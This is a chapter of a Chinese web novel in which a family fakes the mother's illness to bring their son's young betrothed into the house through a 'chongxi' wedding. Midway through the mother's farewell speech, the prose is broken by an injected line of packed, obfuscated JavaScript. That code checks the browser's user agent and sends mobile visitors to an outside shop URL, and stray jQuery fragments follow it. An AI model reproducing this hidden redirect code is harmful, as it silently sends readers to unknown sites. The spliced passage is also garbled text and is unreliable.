宋家店铺开张后的第二日,钟夫人突发恶疾,上吐下泻,食水不能进,汤药灌不下去,不过一日的工夫便倒在床上开始胡言乱语,嘴里说的尽是神啊鬼啊怪啊,别来缠着自己。
林太医乃是杏林圣手,诊了脉,翻了医书,试了好几个方子,竟也束手无策,找不出任何病因。
宋夫人和宋引章听说后,放下铺子里正盘着的货,赶紧登门看望。
宋夫人坐在床边,伸手紧紧握着这个在她落难时毫不犹豫伸出援手的女人,看着钟夫人那张原本圆润如今却骤然塌陷下去的脸,心疼得说不出话来。
宋引章蹲在床沿旁,望着这个两日前还拉着自己的手挑胭脂的准婆母如今气若游丝地躺在那里,眼泪噼里啪啦地往下掉。
钟廷看着躺在床上虚弱无比的夫人,急得嘴角起了燎泡,在户部衙门坐不住,告了假便直奔钦天监。
他找到王大人,塞了茶钱,拱手请王大人替他算了一算。
王大人掐起手指,闭目沉吟良久,最后睁开眼睛,告诉他尊夫人此病乃是命中缺了喜气冲煞,需要儿媳妇进门冲喜方能化解。
钟廷听了,马不停蹄亲自来到宋府。
到达宋府时已是暮色,梧桐树影拉得老长,宋夫人正在前厅核对当日的账目。
钟廷把钟夫人病重需要儿媳妇冲喜一事详细地说给她听,说得声泪俱下,说到最后声音都哑了。
他保证钟家绝对不会亏待引章,保证引章未满十六岁之前绝不会让儿子与她圆房,只求冲喜救他夫人一命。
宋夫人看着钟廷那悲痛的神色,想起这些日子钟家暗中对宋家数不清的帮助——那些悄悄放在店铺后门的米面、那些被钟夫人派来帮忙却从不留名的丫鬟——便点了头,同意了这门冲喜。
钟廷匆匆告辞离开宋府后,脚步比来时轻快了许多。
他一踏进钟府大门便吩咐管事连夜布置府里,又派了随从去皇宫里接钟荀彧回府。
管事领命而去,不多时钟府便热闹起来。
第二日,女人坊并没有开门。
一大清早,钟廷便请了媒人,抬着聘礼来到宋府下聘。
聘礼摆满了宋府前厅那方旧木桌——二十匹上好的绸缎、两套赤金头面、两对羊脂白玉镯、两盒百年老参,还有几封用红绸扎着的银锭。
宋夫人看着这些厚重的聘礼,心里不是滋味。
宋家遭此一劫,她为女儿们准备了多年的嫁妆被尽数抄走,如今女儿虽是冲喜,实质上也是出嫁,可自己连一样像样的嫁妆都拿不出来。她垂下眼,睫毛上挂着水光。
宋引章看见母亲无声流泪,赶紧走到母亲身边,伸手拭去母亲眼角的泪水,然后紧紧握着母亲的手,轻声说道:“阿娘,店铺里正缺人手,女儿这一走便少了一个帮忙的,你们的辛苦又要多加一分,真是对不起。”
宋夫人听了这话,眼泪涌得更凶了。
她捧着女儿的脸,拇指轻轻摩挲着那张还带着几分婴儿肥的脸颊,声音发颤:“引儿,店铺里没有关系。只是苦了你,从此要远离母亲,到一个陌生的家里去。母亲连一样像样的嫁妆都不能给你,母亲愧对你。”
宋引章笑了笑,那笑容里没有半点委屈和怨怼:“母亲没有愧对我。您给了女儿生命,给了女儿这么好的教养,女儿感激您还来不及呢。”
宋夫人看着突然如此懂事的女儿,再也忍不住,一把将女儿紧紧搂在怀里,泪无声地落进女儿的发髻里。
日光慢慢升上天空,宋府的梧桐树下,宋引章正带着侄儿侄女玩耍。
她在宋府最多再待一日,想把最后这段做女儿的时间留给朗儿和蕴儿。
宋夫人与白梅坐在回廊里替宋引章改嫁衣。这件嫁衣本是宋含章的,红缎上绣着并蒂莲和比翼鸟,用的是上好的云锦。
可宋含章与沈十安的婚事作罢,嫁衣便搁置了起来,后来被抄家时不知怎地漏了网,成了宋家唯一一件没有被抄走的贵重衣物。
如今宋夫人和白梅要在最短的时间内把它改得合宋引章的身——宋含章比宋引章高出一个头,肩宽也大了半圈,得把腰身往里收,把裙摆往上提,把袖口的金线拆了重新绣上引章喜欢的玉兰花。
钟府里,管事办事麻利,红绸高挂,满门喜气。
红灯笼挂了两排,大红的喜字贴满了门扇。
钟夫人还躺在床上昏睡着,勉强能灌进一些汤药和米汤,气色却比昨日好了不少。
钟荀彧守在母亲床边,紧紧握着母亲的手,嘴里不停地小声念叨着母亲快些好起来。
钟廷告了假来到房间里,看了看还在昏睡的妻子,又看了看守在床边的儿子,嘴角带着一丝只有他自己知道的弧度。
钟荀彧看见父亲走进来,赶紧起身扶着父亲坐下,垂手立在父亲面前。
钟廷看着这个已经抽条长高、却不如自己年轻时俊朗的儿子,清了清嗓子,正色道:“引章今年才十五,明日过门只是冲喜,不会圆房。你务必守礼,不得逾矩半分——否则为父扒了你的皮。”
钟荀彧连忙拱手,磕磕巴巴地应道:“父亲,儿子一定谨记父亲的教诲,一定守礼,绝对不会有半分越矩之事。”
说完他又把头微微低下,声音变得更轻,结结巴巴地憋出几个字:“父亲……父亲……儿子想问您……”
钟廷看着儿子这副支支吾吾的模样,心里门清——这小子的心思都写在脸上了。
他冷笑两声,还是松了口:“你在宫里念书,十日回来一次,在家待两日。这两日你可以与引章正常来往,天黑给我赶紧滚回自己的屋子。”
钟荀彧听了眼睛都亮了,上前一步抓住父亲的手,激动得舌头差点打结:“父亲,真的!”
钟廷看着他这没出息的样子,又冷笑了两声,然后把话锋一转,语气变得郑重起来:“人与人之间相处,无论如何都会发生矛盾。如果与引章有了分歧,你要让着她。她是你的妻子,连自己的妻子都不肯让,那不是大丈夫所为。”
“再有,宋家如今败落,在与引章相处时若起了争执,你千万不要拿她家的事来说道——你若敢说半句伤她的话,不必宋家来找你,为父第一个不饶你。”
钟廷说完,认真地注视着儿子的眼睛,一字一句道,“我与你母亲一辈子,只认引章这一个儿媳妇。”
钟荀彧站直了身子,收起方才的激动,正色道:“父亲放心,我可是您的儿子,岂是那宵小之辈。儿子这一辈子也只认引章这一个妻子。”
他说完后,又忍不住抬手摸了摸后脑勺,嘴角浮起一丝只有少年郎才有的腼腆笑意。
迎亲这日,宋家门前没有热闹的宾客,没有唱礼的傧相。
若是宋家不曾败落,即便是女儿冲喜,门前也当是车马盈门、门庭若市。
可今日却门庭冷落,只有梧桐树上几只麻雀在枝头蹦跶。
即便如此,宋夫人并未在意,宋家所有的人都不会在意——他们不是来比排场的,是来送自家最珍视的人出嫁的。
宋家人都聚在宋引章的房间里。
宋夫人用这两日赚来的银子给女儿置办了几身体面的衣裳,把自己仅有的首饰——一根银簪、一对耳坠——塞进女儿手里,声音是惯常的平稳,眼眶却红了一圈又一圈。
白梅拿出了自己仅剩的一只玉镯,套在宋引章纤细的手腕上。
宋含章把自己随身多年的一块玉佩当了,换了一副头面,亲手放在妹妹的妆奁里。
春夏把自己一针一线绣的几块手帕叠得方方正正,塞进宋引章的包袱。
肖朗把前些日子狩猎换来的银子一枚一枚地装进宋引章的钱袋,那钱袋沉甸甸的,用的皮子是他自己鞣的。
宋引章看着家人们为自己准备的这些嫁妆,虽然不多,也不金贵,远比不得那些高门嫁女的十里红妆——可这一根簪、一对坠、一只镯、一副头面、几块手帕、一袋碎银子,每一样都浸着宋家人从指缝里省出来的血汗。这对她来说,是人世间最珍贵的东西。
宋夫人握着宋引章的手,缓缓开口,声音不高,却每一个字都像刻在石头上的碑文:“到了钟家,一定要守礼,侍奉好公婆。对待丈夫,以情为先,相互理解。记住——家不是讲道理的地方,是讲情的地方。”
“你的性子母亲知道,表面看着柔柔弱弱,骨子里倔得很,认准的事九头牛也拉不回来。在宋家,所有人都包容着你。到了钟家,得收敛一些。”
她松开女儿的手站起来,深吸一口气,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731777|206141||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“明日你便是钟家妇。钟大人与钟夫人都是善良之人,阿娘希望你无论做任何事情,都把钟家的利益放在第一位。”
宋引章抬起头望着母亲,那双眼睛里还带着少女的青涩,却有了些许大人的沉稳:“阿娘所有的话女儿都记住了。女儿是您教养出来的,绝不会做出格的事,绝不会给夫家和宋家丢脸。”
宋夫人听了这话,伸出手把宋引章、宋含章、白梅和春夏一起搂进怀里,几个女人的额头抵着额头,呼吸融在一起,什么话也没有再说。
第二日,日光升起,是个晴朗的好日子。
宋府里,白梅已给宋引章梳洗装扮好,乌发挽成髻,眉间贴上花钿,一身红嫁衣衬得她肤如凝脂。
宋夫人亲手为她穿上那件改好的嫁衣,一粒一粒地系上领口的盘扣,手指微微发颤。
宋含章和春夏站在一旁,眼泪在眼眶里打转,却都忍着没让它落下来——今天是喜日子,不能哭。
街道上传来锣鼓唢呐的声音,由远及近,越来越响亮。
钟荀彧骑着高头大马,胸前扎着红绸,领着八抬大轿和迎亲队伍热热闹闹地朝着宋府而来。
他今天特意把头发束得格外整齐,坐在马上腰杆挺得笔直,只是耳根子红得能滴血。
宋府前厅里,宋引章依次拜别母亲、嫂嫂、姐姐、三哥。
轮到拜别母亲时,她跪下去磕了三个头,额头贴着冰凉的地面,久久不肯起身。
宋夫人忍了又忍的眼泪终于滑落下来,但她没有出声,只是弯腰亲手为女儿盖上红盖头,送女儿出嫁。
钟荀彧这个毛头小子等不及媒婆引路,自己大步跨进宋家前厅来迎接他的新娘。
宋引章跨出门槛时,嫁衣的裙摆勾住了门槛,她身子一歪差点摔倒。钟荀彧眼疾手快,二话不说弯腰一把将她抱了起来,稳稳当当地跨过门槛,穿过院子,走出宋家大门,小心翼翼地把他的新娘放进了花轿里。转身翻身上马时,他脸上的笑意怎么也藏不住。
站在门口的宋夫人抱着宋朗,宋含章抱着宋蕴,白梅、肖朗、春夏站成一排,眼里噙着泪,嘴角却带着笑,目送迎亲队伍在锣鼓声中渐渐远去。
他们的泪里有不舍——这是捧在手心里养了十五年的明珠,从此便是别人家的人了;可更多的是欣慰和放心。
因为钟家绝对不会亏待他们捧在手心里的宝。
钟府里红绸高挂,满门喜气。
在房间里躺了几日的钟夫人听见锣鼓唢呐声越来越近,心痒得不行,掀开被子就要起身去前厅看儿子和儿媳妇拜堂。
钟廷一把按住她,压低了声音说戏已经唱了几天,眼看就要收尾了,这时候露馅就白演了。
钟夫人听了,两眼一闭,又躺回床上装病人去了。
钟府的客人不多,都是钟廷提前打过招呼的至亲好友,可气氛却热闹得很。
钟荀彧亲自把宋引章从花轿里抱出来,跨过火盆,牵着她的手来到前厅行大礼。
坐在高堂上的钟廷挺着腰板受了儿子和儿媳的跪拜大礼,看着面前这个温婉秀美的儿媳,心里乐开了花。
他嘴上却对着虚空念叨:“宋四维啊宋四维,当年城外决斗你把我打得头破血流。如今你女儿进了我钟家的门,管我叫爹,我一定会好好‘折磨’你女儿的——让她给我端茶倒水,让她给我研磨,让她给我捶背……”说着说着,他自己先笑了。
宋引章进了钟府才两天的工夫,钟夫人便“奇迹般”地醒了过来,喝得下药了,吃得下饭了,能下床走动了。
钟廷、钟夫人和钟廷那两个没有生育的妾室,待宋引章比亲生女儿还亲——吃饭时不停地往她碗里夹菜,天凉时追着她加衣裳,连宋引章去给婆母请安时多行了一个礼都被钟夫人心疼地拉起来。
这一场冲喜,本就是钟廷和钟夫人的计谋。
宋家败落,宋引章在店铺里帮忙,日日抛头露面、起早贪黑,他们可舍不得未来的儿媳妇多吃一丁点苦。
于是夫妻俩关起门来一合计,搭了这样一个戏台子,唱了一出冲喜的大戏,把宋引章风风光光、名正言顺地接进了钟家。
至于宋家那边——宋夫人发现钟夫人病得蹊跷、好得也蹊跷时,已是后话了。